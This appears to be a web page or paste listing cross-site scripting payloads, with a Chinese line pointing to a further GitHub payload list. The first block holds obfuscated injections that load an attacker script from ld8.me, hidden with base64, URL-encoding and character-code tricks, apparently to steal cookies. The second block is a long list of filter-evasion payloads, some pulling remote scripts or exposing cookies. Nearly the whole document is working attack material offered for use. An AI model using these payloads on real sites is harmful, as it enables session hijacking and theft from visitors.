x
1
"</tExtArEa>'"><sCRiPt sRC=//ld8.me/XGGX></sCrIpT>",
2
"'"><input onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vbGQ4Lm1lL1hHR1giO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 autofocus>",
3
"'"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vbGQ4Lm1lL1hHR1giO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 onerror=eval(atob(this.id))>",
4
"</tEXtArEa>'"><img src=# id=xssyou style=display:none onerror=eval(unescape(/var%20b%3Ddocument.createElement%28%22script%22%29%3Bb.src%3D%22https%3A%2F%2Fld8.me%2FXGGX%22%2BMath.random%28%29%3B%28document.getElementsByTagName%28%22HEAD%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28b%29%3B/.source));//>",
5
"<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='//ld8.me/XGGX';>",
6
"<embed src=https://ld8.me/liuyan/xs.swf?a=e&c=doc\u0075ment.write(St\u0072ing.from\u0043harCode(60,115,67,82,105,80,116,32,115,82,67,61,47,47,108,100,56,46,109,101,47,88,71,71,88,62,60,47,115,67,114,73,112,84,62)) allowscriptaccess=always type=application/x-shockwave-flash></embed>",
7
"<img src="" onerror="document.write(String.fromCharCode(60,115,67,82,105,80,116,32,115,82,67,61,47,47,108,100,56,46,109,101,47,88,71,71,88,62,60,47,115,67,114,73,112,84,62))">",
8
"<sCRiPt/SrC=//ld8.me/XGGX>",
9
"<Img srC=https://ld8.me/XGGX/test.jpg>",
10
"<Img srC="https://ld8.me/XGGX/test.jpg">",
11
"<Img sRC=//ld8.me/XGGX/test.jpg>",
12
其他payload参考
https://github.com/pgaijin66/XSS-Payloads/blob/master/payload.txt
x
1
<iframe %00 src="&Tab;javascript:prompt(1)&Tab;"%00>
2
3
<svg><style>{font-family&colon;'<iframe/onload=confirm(1)>'
4
5
<input/onmouseover="javaSCRIPT&colon;confirm&lpar;1&rpar;"
6
7
<sVg><scRipt %00>alert&lpar;1&rpar; {Opera}
8
9
<img/src=`%00` onerror=this.onerror=confirm(1)
10
11
<form><isindex formaction="javascript&colon;confirm(1)"
12
13
<img src=`%00`&NewLine; onerror=alert(1)&NewLine;
14
15
<script/&Tab; src='https://dl.dropbox.com/u/13018058/js.js' /&Tab;></script>
16
17
<ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=?
18
19
<iframe/src="data:text/html;&Tab;base64&Tab;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
20
21
<script /*%00*/>/*%00*/alert(1)/*%00*/</script /*%00*/
22
23
&#34;&#62;<h1/onmouseover='\u0061lert(1)'>%00
24
25
<iframe/src="data:text/html,<svg &#111;&#110;load=alert(1)>">
26
27
<meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>
28
29
<svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script
30
31
<svg><script x:href='https://dl.dropbox.com/u/13018058/js.js' {Opera}
32
33
<meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
34
<iframe src=javascript&colon;alert&lpar;document&period;location&rpar;>
35
36
<form><a href="javascript:\u0061lert&#x28;1&#x29;">X
37
38
</script><img/*%00/src="worksinchrome&colon;prompt&#x28;1&#x29;"/%00*/onerror='eval(src)'>
39
<img/&#09;&#10;&#11; src=`~` onerror=prompt(1)>
40
<form><iframe &#09;&#10;&#11; src="javascript&#58;alert(1)"&#11;&#10;&#09;;>
41
42
<a href="data:application/x-x509-user-cert;&NewLine;base64&NewLine;,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="&#09;&#10;&#11;>X</a
43
44
http://www.google<script .com>alert(document.location)</script
45
46
<a&#32;href&#61;&#91;&#00;&#93;"&#00; onmouseover=prompt&#40;1&#41;&#47;&#47;">XYZ</a
47
48
<img/src=@&#32;&#13; onerror = prompt('&#49;')
49
50
<style/onload=prompt&#40;'&#88;&#83;&#83;'&#41;
51
52
<script ^__^>alert(String.fromCharCode(49))</script ^__^
53
54
</style &#32;><script &#32; :-(>/**/alert(document.location)/**/</script &#32; :-(
55
56
&#00;</form><input type&#61;"date" onfocus="alert(1)">
57
58
<form><textarea &#13; onkeyup='\u0061\u006C\u0065\u0072\u0074&#x28;1&#x29;'>
59
60
<script /***/>/***/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')/***/</script /***/
61
62
<iframe srcdoc='&lt;body onload=prompt&lpar;1&rpar;&gt;'>
63
64
<a href="javascript:void(0)" onmouseover=&NewLine;javascript:alert(1)&NewLine;>X</a>
65
66
<script ~~~>alert(0%0)</script ~~~>
67
68
<style/onload=&lt;!--&#09;&gt;&#10;alert&#10;&lpar;1&rpar;>
69
70
<///style///><span %2F onmousemove='alert&lpar;1&rpar;'>SPAN
71
72
<img/src='http://i.imgur.com/P8mL8.jpg' onmouseover=&Tab;prompt(1)
73
74
&#34;&#62;<svg><style>{-o-link-source&colon;'<body/onload=confirm(1)>'
75
76
&#13;<blink/&#13; onmouseover=pr&#x6F;mp&#116;(1)>OnMouseOver {Firefox & Opera}
77
78
<marquee onstart='javascript:alert&#x28;1&#x29;'>^__^
79
80
<div/style="width:expression(confirm(1))">X</div> {IE7}
81
82
<iframe/%00/ src=javaSCRIPT&colon;alert(1)
83
84
//<form/action=javascript&#x3A;alert&lpar;document&period;cookie&rpar;><input/type='submit'>//
85
86
/*iframe/src*/<iframe/src="<iframe/src=@"/onload=prompt(1) /*iframe/src*/>
87
88
//|\\ <script //|\\ src='https://dl.dropbox.com/u/13018058/js.js'> //|\\ </script //|\\
89
90
</font>/<svg><style>{src&#x3A;'<style/onload=this.onload=confirm(1)>'</font>/</style>
91
92
<a/href="javascript:&#13; javascript:prompt(1)"><input type="X">
93
94
</plaintext\></|\><plaintext/onmouseover=prompt(1)
95
96
</svg>''<svg><script 'AQuickBrownFoxJumpsOverTheLazyDog'>alert&#x28;1&#x29; {Opera}
97
98
<a href="javascript&colon;\u0061&#x6C;&#101%72t&lpar;1&rpar;"><button>
99
100
<div onmouseover='alert&lpar;1&rpar;'>DIV</div>
101
102
<iframe style="xg-p:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)">
103
104
<a href="jAvAsCrIpT&colon;alert&lpar;1&rpar;">X</a>
105
106
<embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
107
108
<object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
109
110
<var onmouseover="prompt(1)">On Mouse Over</var>
111
112
<a href=javascript&colon;alert&lpar;document&period;cookie&rpar;>Click Here</a>
113
114
<img src="/" =_=" title="onerror='prompt(1)'">
115
116
<%<!--'%><script>alert(1);</script -->
117
118
<script src="data:text/javascript,alert(1)"></script>
119
<iframe/src \/\/onload = prompt(1)
120
121
<iframe/onreadystatechange=alert(1)
122
123
<svg/onload=alert(1)
124
125
<input value=<><iframe/src=javascript:confirm(1)
126
127
<input type="text" value=`` <div/onmouseover='alert(1)'>X</div>
128
129
http://www.<script>alert(1)</script .com
130
131
<iframe src=j&NewLine;&Tab;a&NewLine;&Tab;&Tab;v&NewLine;&Tab;&Tab;&Tab;a&NewLine;&Tab;&Tab;&Tab;&Tab;s&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;c&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;i&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;p&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&colon;a&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;l&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;e&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;28&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;1&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%29></iframe>
132